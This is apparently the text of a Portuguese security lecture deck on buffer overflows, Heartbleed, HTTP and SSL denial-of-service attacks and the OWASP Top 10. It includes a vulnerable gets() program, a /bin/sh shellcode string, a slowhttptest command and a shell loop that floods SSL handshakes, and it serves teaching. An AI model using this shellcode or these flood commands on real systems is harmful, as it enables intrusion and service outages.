Post on 24-Jul-2015
Ataques, vulnerabilidades e ferramentas em Aplicações
Vitalino Victor Vargas Borges
Assuntos abordados:●Software Exploitation
●Mobile Hacking
●Web Vulnerabilities
● DoS Attacks Layer 7
"Nós não precisaríamos gastar tanto tempo, dinheiro e esforço em segurança de redes se não tivéssemos uma segurança em software tão ruim." - Bruce Schneier
Software Exploitation
Programa vulnerável
Programa vulnerável
Buffer Overflow
Programa vulnerável
#include <stdio.h>#include <string.h>
int main() { char nome[10]; printf(" Informe seu nome: "); gets(nome); printf(" Bom dia, %s\n", nome); return 0;}
Programa vulnerável
#include <stdio.h>#include <string.h>
int main() { char nome[10]; printf(" Informe seu nome: "); gets(nome); printf(" Bom dia, %s\n", nome); return 0;}
Programa vulnerável
#include <stdio.h>#include <string.h>
int main() { char nome[10]; printf(" Informe seu nome: "); gets(nome); printf(" Bom dia, %s\n", nome); return 0;}
Programa vulnerável
#include <stdio.h>#include <string.h>
int main() { char nome[10]; printf(" Informe seu nome: "); gets(nome); printf(" Bom dia, %s\n", nome); return 0;}
Endereçamento de memória0x00000000
0xFFFFFFFF
.
.
.
0x00000000
0xFFFFFFFF
.
.
.
0xC0000000...
Endereçamento de memória
0xBFFFFFFF
KERNEL SPACE (1GB)
USER SPACE (3GB)
0x00000000
0xFFFFFFFF
.
.
.
0xC0000000...
Segmentos de memória
0xBFFFFFFF
KERNEL SPACE (1GB)
texto (código)
dados
bss
heap
stack
Segmento de código
0x80483200x80483210x80483220x80483230x80483240x80483250x80483260x8048327
instrução 1instrução 2instrução 3instrução 4instrução 5instrução 6instrução 7instrução 8
0x80483100x80483110x80483120x80483130x80483140x80483150x80483160x8048317
instrução 1instrução 2instrução 3instrução 4call 0x8048320instrução 6instrução 7instrução 8
.
.
.
0xbffff5840xbffff5...
0x80483150x41565959
Stack
0x80483200x80483210x80483220x80483230x80483240x80483250x80483260x8048327
instrução 1instrução 2instrução 3instrução 4gets 0xbffff570instrução 6instrução 7instrução 8
0x80483100x80483110x80483120x80483130x80483140x80483150x80483160x8048317
instrução 1instrução 2instrução 3instrução 4call 0x8048320
.
.
.
0xbffff584...0xbffff570
0x8048315
V V V V V
0x80483560x80456560x565656560x8565656Overflow????????0x56565656
0x80483200x80483210x80483220x80483230x80483240x80483250x80483260x8048327
instrução 1instrução 2instrução 3instrução 4gets 0xbffff570instrução 6instrução 7instrução 8
0x80483100x80483110x80483120x80483130x80483140x80483150x80483160x8048317
instrução 1instrução 2instrução 3instrução 4call 0x8048320
.
.
.
0xbffff584...0xbffff570
0x8048315
V V V V V
0x80483440x80484440x80484440x8048444Exploitation
0x80484440x80484450x80484460x8048447
(Outra função presente na área de código do programa)
instrução 1instrução 2instrução 3instrução 4
0x80483200x80483210x80483220x80483230x80483240x80483250x80483260x8048327
instrução 1instrução 2instrução 3instrução 4gets 0xbffff500instrução 6instrução 7instrução 8
0x80483100x80483110x80483120x80483130x80483140x80483150x80483160x8048317
instrução 1instrução 2instrução 3instrução 4call 0x8048320
.
.
.
0xbffff584
.
.
.
0xbffff500
0x8048315
0x90 0x90 0x90 0x90
Execução de código arbitrário0xbffff502
execl /bin/sh
0x00000000
.
.
.
Segmentos de memória
0xBFFFFFFF
texto (código)
dados
bss
heap
stack
65 64 6f 63 6c 6c 65 68 53
“Em segurança da informação, um shellcode é um pequeno pedaço de código usado como payload na exploração de uma vulnerabilidade de software.“ - Wikipédia
Shellcode
“Em segurança da informação, um shellcode é um pequeno pedaço de código usado como payload na exploração de uma vulnerabilidade de software.“ - Wikipédia
Shellcode "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89\xe1\xcd\x80"
Shellcode108 Bytes
NOPs Shellcode Return addr
Trapdoor
Trapdoor“ Um trapdoor é um ponto de entrada em um sistema de processamento de informações que contorna as medidas normais de segurança. Em geral, é um programa oculto ou um componente eletrônico que faz com que o sistema de proteção seja ineficaz se certas ordens não documentadas são colocados para ele.” - Security Internet
Trapdoor● “Durante o desenvolvimento, é comumdeixar um backdoor para ter acessoirrestrito à execução do programa.”
● “Quando o sistema é lançado, muitasvezes esquecem do backdoor geradono desenvolvimento.”
- Ti Safe
VsFTPd 2.3.4 Backdoor Command Execution
CVE-2011-252
Heartbleed
Heartbeat
Heartbeat
Heartbeat
Heartbleed
Heartbleed
“- Servidor, você ainda está aí?”“- Se sim, responda 'POTATO' (6 letras)”
Heartbleed
Heartbleed
“- Servidor, você ainda está aí?”“- Se sim, responda 'BIRD' (4 letras)”
Heartbleed
Heartbleed
“- Servidor, você ainda está aí?”“- Se sim, responda 'HAT' (500 letras)”
Heartbleed
Heartbleed
Demonstração OpenSSL 1.0.1e
Heartbleed
Demonstração servidores reais!
DoS Attacks Layer 7
Modelo OSI
Ataques DoS
● Loop● Ataque de desautenticação (Wireless 802.11)
● ICMP Flood (Ping of Death, Smurf)● ARP Flood, ARP Poisoning● Teardrop
● TCP Flood (SYN, 3WayHandshake)● UDP Flood
HTTP DoS
Métodos HTTP
●GET●POST●HEAD●OPTIONS●CONNECT●DELETE●TRACE●PUT
Métodos HTTP
●GET●POST●HEAD●OPTIONS●CONNECT●DELETE●TRACE●PUT
Método GET
Método POST
HTTP Method POST Flood
HTTP Method POST Flood
./slowhttptest -c 1000 -B -i 110 -r 200 -s 8192 -u http://192.168.1.34/ocomon_2.0-RC6/includes/common/login.php -x 10 -p 3
Apache Range Header AttackCVE-2011-3192
Codinome: ApacheKill
● “Requisita paralelamente pequenos pedaços do conteúdo de forma comprimida (gzip)”
● “Força o webserver a realizar diversas operações de compressão paralelas e simultâneas alto =processamento.”
- SEIDL, Jan
Apache Range Header AttackCVE-2011-3192
Codinome: ApacheKill
Apache Range Header AttackCVE-2011-3192
Codinome: ApacheKill
HTTP Slow Attack
●Possui variações●Slow Headers: Campos de um único cabeçalho HTTP enviados lentamente.
●Slow Post: (já explicado)●Slow Read: realiza comunicações HTTP legítimas, mas manipulando os cabeçalhos TCP deixando-os com tamanho de janela 0
HTTP Slow Attack
GET /ocomon_2.0-RC6/index.php HTTP/1.1Host: 192.168.1.34...
User-Agent: Mozilla/5.0 Gecko/20100101 Firefox/30.0Accept: text/html,application/xhtml+xml,application/xml;...
Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflate
SSL DoS
T.L.STransport Layer Security
S.S.LSecure Socket Layer
SSL Handshake Attack
“Estabelecer uma conexão segura SSL requer 15x mais processamento do servidor do que no cliente.” - THC SSL DoS
SSL Handshake Attack
thc-ssl-dosit() { while :; do (while :; do echo R; done) | openssl s_client -connect 127.0.0.1:443 2>/dev/null; done }
for x in `seq 1 100`; do thc-ssl-dosit & done
SSL Handshake Attack
rDDoS
Exemplos de protocolos
● SNMP● DNS● NTP...
DNS rDDoS attack
DNS rDDoS attack
DNS rDDoS attack
Web Vulnerabilities
OWASP “A Open Web Application Security Project (OWASP) é uma entidade sem fins lucrativos e de reconhecimento internacional, que contribui para a melhoria da segurança de softwares aplicativos reunindo informações importantes que permitem avaliar riscos de segurança e combater formas de ataques através da internet.“ - Rede Segura
OWASP - Top 10 “O trabalho mais conhecido da OWASP é sua lista “The Top 10 Most Critical Web Application Security Risks”, que reúne os riscos de ataque mais críticos exploráveis a partir de vulnerabilidades nas aplicações web.“ - Rede Segura
A1: Injection Flaws
ProFtpd - FTP server
A2-Broken Authentication and Session Management
A3-Cross-Site Scripting (XSS)
A4-Insecure Direct Object References
A5-Security Misconfiguration
A6-Sensitive Data Exposure
A7-Missing Function Level Access Control
A8-Cross-Site Request Forgery (CSRF)
A9-Using Components with Known Vulnerabilities
A10-Unvalidated Redirects and Forwards
Mobile Hacking
Fim